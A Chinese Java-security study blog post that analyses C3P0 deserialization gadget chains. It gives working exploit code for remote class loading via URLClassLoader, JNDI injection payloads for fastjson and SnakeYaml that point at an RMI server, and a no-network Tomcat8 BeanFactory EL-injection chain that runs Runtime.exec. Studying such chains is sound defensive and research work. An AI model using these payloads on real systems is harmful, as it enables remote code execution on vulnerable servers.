参考:Java安全学习——C3P0链 - 枫のBlog
C3P0介绍
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
|
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
# Gadget
> 导入依赖
<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
C3P0常见的利用方式有如下三种
- URLClassLoader远程类加载
- JNDI注入
- 利用HEX序列化字节加载器进行反序列化攻击
URLClassLoader远程类加载
过程
流程:PoolBackedDataSourceBase#readObject ->ReferenceSerialized#getObject ->ReferenceableUtils#referenceToObject ->ObjectFactory#getObjectInstance
入口类:PoolBackedDataSourceBase
PoolBackedDataSourceBase#readObject
!
如果反序列化得到的类是IndirectlySerialized的实例,则会调用其getObject()方法,然后将返回的类转为ConnectionPoolDataSource类
IndirectlySerialized是一个接口,查找实现类,找到ReferenceSerialized类
!
在这里发现存在lookup方法,那么肯能这点就存在jndi注入,好吧但实际上在反序列化时我们是无法调用到该方法的,因为属性contextName为默认null且不可控
继续进入ReferenceableUtils#referenceToObject
这里reference我们放在后面EXP部分,怎么控制
!
从第一个参数Reference ref获取URL,并使用URLClassLoader获取class类
forName进行类加载
newInstance实例。恶意类静态代码块和构造函数会被执行
EXP编写
由于入口类writeObject的是connectionPoolDataSource属性,connectionPoolDataSource是一个接口没有继承Serializable接口(EXP就得实现这个接口才行),无法被直接序列化,因此走的是catch分支
!
可以看到使用包装类包装了这个类。发现是一个接口的方法。
找到唯一的实现类ReferenceIndirector,
!
调用Referenceable接口的getReference方法,那么我们的EXP就该实现这个接口,并返回我们恶意的Reference对象。
然后继续看ReferenceSerialized
!
这里就赋值了上面Gadget最后要用的reference
!
最后EXP
package C3P0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class C3P0_URLClassLoader {
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable{
@Override public Reference getReference() throws NamingException { return new Reference("ExpClass","exp","http://127.0.0.1:8888/"); }
@Override public PooledConnection getPooledConnection() throws SQLException { return null; }
@Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
@Override public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override public void setLoginTimeout(int seconds) throws SQLException {
}
@Override public int getLoginTimeout() throws SQLException { return 0; }
@Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c);
FileOutputStream fos = new FileOutputStream(new File("exp.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase);
}
public static void Pool_Deserial() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("exp.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { EXP_Loader exp_loader = new EXP_Loader(); Pool_Serial(exp_loader); Pool_Deserial(); }
}
|
URL所在目录下必须有包名的目录
JNDI注入
这条链子依赖于fastjson或者Jackson、snakeyaml等反序列化漏洞,利用的是getter和setter方法
过程
流程
#修改jndiName JndiRefConnectionPoolDataSource#setJndiName -> JndiRefForwardingDataSource#setJndiName #JNDI调用 JndiRefConnectionPoolDataSource#setLoginTime -> WrapperConnectionPoolDataSource#setLoginTime -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
|
JndiRefConnectionPoolDataSource#setLoginTimeout
!
wcps是WrapperConnectionPoolDataSource类
!
继续进入
!
调式发现getNestedDataSource()返回的是JndiRefForwardingDataSource对象
!
找到setLoginTimeout方法
!
进入inner方法
!
继续进入dereference方法
!
最后在这里创建initialContext,并使用危险方法lookup。(到这里就有jndi注入了)
只需能控制jndiName就能够进行jndi注入
继续查看是否可控jndiName
JndiRefConnectionPoolDataSource#setJndiName
!
jrfds为JndiRefForwardingDataSource对象,刚好跟上文对应
这里调用的是父类的setJndiName
进入JndiRefDataSourceBase#setJndiName
!
这里对上面的jndiName赋值
EXP
普通exp
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource(); try { jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:8085/RFKMphyY"); jndiRefConnectionPoolDataSource.setLoginTimeout(2); } catch (SQLException e) { throw new RuntimeException(e); } catch (PropertyVetoException e) { throw new RuntimeException(e); }
|
思路:jndiRefConnectionPoolDataSource#setJndiName设置jndi的路径,
jndiRefConnectionPoolDataSource#setLoginTimeout触发jndi注入
fastjson版
{"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource","jndiName":"rmi://127.0.0.1:8085/RFKMphyY","loginTimeout":2}
|
SnakeYaml版
!!com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource {jndiName: "rmi://127.0.0.1:8085/RFKMphyY", loginTimeout: "2"}
|
注意空格(踩过坑)
HEX二次反序列化
过程
流程
WrapperConnectionPoolDataSource#setuserOverridesAsString -> WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource -> C3P0ImplUtils#parseUserOverridesAsString -> SerializableUtils#fromByteArray -> SerializableUtils#deserializeFromByteArray -> ObjectInputStream#readObject
|
WrapperConnectionPoolDataSource#setuserOverridesAsString
调用父类方法,WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
!
会获取原来的值和新的值放入另一个方法中
进入VetoableChangeSupport#fireVetoableChange
继续进入重载方法
!
然后调用所有listener的vetoableChange方法
!
当前有一个listener就是WrapperConnectionPoolDataSource
进入WrapperConnectionPoolDataSource#vetoableChange
!
然后调到这里
!
val就是我们设置的属性值
进入C3P0ImplUtils#parseUserOverridesAsString
!
这里会从默认前缀HexAsciiSerializedMap加上一个字符后开始截取真正的反序列化数据(那么payload就应该加上这个前缀)
然后将字符串转为字符数组
进入SerializableUtils#fromByteArray
!
进入deserializeFromByteArray
!
这里就是一个链子结尾,触发了原生的反序列化,readObject,也算是反序列链子的一个入口点,因此可以用这个来进行二次反序列化
C3P0不出网利用
不论是URLClassLoader加载远程类,还是JNDI注入,都需要目标机器能够出网。而加载Hex字符串的方式虽然不用出网,但却有Fastjson等的相关依赖。那么如果目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢
在JNDI高版本利用中,我们可以加载本地的Factory类进行攻击,而利用条件之一就是该工厂类至少存在一个getObjectInstance()方法。比如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入
!
我们再回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式
!
在实例化完我们的恶意类之后,调用了恶意类ObjectFactory.getObjectInstance()。由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory类。在不出网的条件下可以进行EL表达式注入,利用方式类似JNDI的高版本绕过。当然了,这种利用方式需要存在Tomcat8相关依赖环境
利用链构造
由于BeanFactory中需要Reference为ResourceRef类,因此在getReference()中我们实例化ResourceRef类,剩下的构造就和高版本JNDI类似了
package C3P0; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class C3P0_Tomcat8 { public static class Tomcat8_Loader implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } //序列化 public static void Pool_Serial(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException { //反射修改connectionPoolDataSource属性值 PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Class cls = poolBackedDataSourceBase.getClass(); Field field = cls.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(poolBackedDataSourceBase,c); //序列化流写入文件 FileOutputStream fos = new FileOutputStream(new File("exp.bin")); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(poolBackedDataSourceBase); } //反序列化 public static void Pool_Deserial() throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream(new File("exp.bin")); ObjectInputStream objectInputStream = new ObjectInputStream(fis); objectInputStream.readObject(); } public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Tomcat8_Loader tomcat8_loader = new Tomcat8_Loader(); Pool_Serial(tomcat8_loader); Pool_Deserial(); } }
|
注意,由于Tomcat8的EL依赖可能不完整,利用的时候可能会失败,最好依赖下面两个包
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency>
|